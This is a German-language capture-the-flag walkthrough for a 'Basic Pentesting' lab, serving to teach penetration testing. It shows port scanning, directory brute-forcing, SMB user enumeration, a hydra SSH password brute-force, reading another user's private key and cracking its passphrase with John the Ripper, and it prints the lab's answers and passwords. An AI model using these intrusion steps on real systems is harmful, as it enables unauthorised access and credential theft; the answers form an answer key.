Willkommen im Basic Pentesting Raum. Hier werden wir WebApps hacken und verschaffen uns weiteren Zugriff durch privilege escalation.
Task 1 Web App Testing and Privilege Escalation
Frage 1:
Deploy the machine and connect to our network
Antwort 1:
Keine Antwort benötigt.
Frage 2:
Find the services exposed by the machine
Das ist ein Fall für nmap:
└─$ nmap DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-05 18:23 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.081s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 2.89 seconds
Hier sehen wir, dass ein ssh Dienst, eine Website, netbios-ssn (Netzwerkprotokoll) und microsoft-ds (Dateisharing) läuft.
Öffnen wir die Seite im Browser bekommen wir nur sehr wenig zurück:

Antwort 2:
Keine Antwort benötigt.
Frage 3:
What is the name of the hidden directory on the web server(enter name without /)?
Hier kommt dirbuster zum Einsatz:
dirbuster -l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://DIE_IP_DEINER_MACHINE
Der Befehl oben ist für den GUI-Modus, es öffnet sich also ein Fenster:

Nachdem wir unten rechts auf Start gedrückt haben beginnt der Scan und bringt so einige Ergebnisse zum Vorschein (man muss den Scan nicht komplett durchlaufen lassen):

Das versteckte Verzeichnis ist /development/
Antwort 3:
development
Frage 4:
User brute-forcing to find the username & password
Antwort 4:
Keine Antwort benötigt.
Frage 5:
What is the username?
Mit enum4linux können wir sehr unkompliziert nach Benutzernamen scannen:
enum4linux -a DIE_IP_DEINER_MACHINE
Als Ergebnis erhalten wir unter anderem:
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
Antwort 5:
jan
Frage 6:
What is the password?
Auch für Passwörter gibt es eine recht simple Methode: Hydra
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://DIE_IP_DEINER_MACHINE
Nach etwas Wartezeit erhalten wir unser Ergebnis:
[22][ssh] host: 10.10.155.120 login: jan password: armando
Antwort 6:
armando
Frage 7:
What service do you use to access the server(answer in abbreviation in all caps)?
Wir haben die Benutzerdaten zum SSH login durch brute force herausgefunden … also SSH 😉
Antwort 7:
SSH
Frage 8:
Enumerate the machine to find any vectors for privilege escalation
Jetzt, da wir Benutzername und Passwort haben, loggen wir uns per SSH auf dem Server ein und stöbern etwas herum:
└─$ ssh jan@10.10.155.120
The authenticity of host '10.10.155.120 (10.10.155.120)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.155.120' (ED25519) to the list of known hosts.
jan@10.10.155.120's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
Da „ls -la“ in unserem Verzeichnis nur eine versteckte Datei zeigt, auf die wir keinen Zugriff haben, gehen wir eine Ebene tiefer. Hier finden wir auch das Verzeichnis von kay, in diesem finden wir etwas spannendes: Ein verstecktes SSH Verzeichnis mit sehr guten Inhalt!
jan@basic2:~$ cd ..
jan@basic2:/home$ ls
jan kay
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$
Der private SSH Key von kay! Diesen öffnen wir und kopieren ihn in eine neue Datei auf unseren Rechner.
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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
-----END RSA PRIVATE KEY----
Auf unserem Rechner öffnen wir nano und kopieren den Text hinein. Dann speichern wir die Datei als „kay.txt“.
Der SSH Code kann so nicht entschlüsselt werden, also müssen wir ihn erst lesbar für John the Ripper machen:
└─$ ssh2john kay.txt >> kay_john.txt
Jetzt kann John the Ripper den neuen Hash lesen und entschlüsseln:
└─$ john kay_john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (kay.txt)
1g 0:00:00:00 DONE (2022-07-05 20:38) 33.33g/s 2758Kp/s 2758Kc/s 2758KC/s bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Das Passwort ist also „beeswax“, damit und mit kay.txt können wir uns nun per SSH auf kays Account einloggen:
└─$ ssh -i kay kay@10.10.155.120
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'kay.txt' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "kay": bad permissions
kay@10.10.155.120's password:
Genau das sollte nicht passieren, wir haben vergessen die permissions anzupassen. rsa Dateien können normalerweise nur von dem entsprechenden User gelesen werden, also passen wir das an:
chmod 600 kay.txt
Neuer Versuch:
└─$ ssh -i kay.txt kay@10.10.155.120
Enter passphrase for key 'kay.txt':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$
Nun sind wir also auf der Machine als kay eingeloggt, fertig sind wir aber noch nicht! Während diesen Schritten haben wir einige Lösungen für die gestellten Fragen gefunden. Beantworten wir diese zuerst.
Antwort 8:
Keine Antwort benötigt.
Frage 9:
What is the name of the other user you found(all lower case)?
Das haben wir vorhin schon herausgefunden: kay
Antwort 9:
kay
Frage 10:
If you have found another user, what can you do with this information?
Mit diesen Informationen kann man einiges anstellen. Wir könnten versuchen sein Passwort herauszufinden und durch seinen Account noch höhere Privilegien erhalten.
Antwort 10
Keine Antwort benötigt.
Frage 11:
What is the final password you obtain?
So, für die finale Frage erinnern wir uns an die „pass.bak“ Datei im Verzeichnis von kay?! Da wir noch mit kays Account eingeloggt sind lassen wir uns deren Inhalt ausgeben:
kay@basic2:~$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..
-rw------- 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r--r-- 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r--r-- 1 kay kay 3771 Apr 17 2018 .bashrc
drwx------ 2 kay kay 4096 Apr 17 2018 .cache
-rw------- 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw------- 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw------- 1 root kay 538 Apr 23 2018 .viminfo
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$
Antwort 11:
heresareallystrongpasswordthatfollowsthepasswordpolicy$$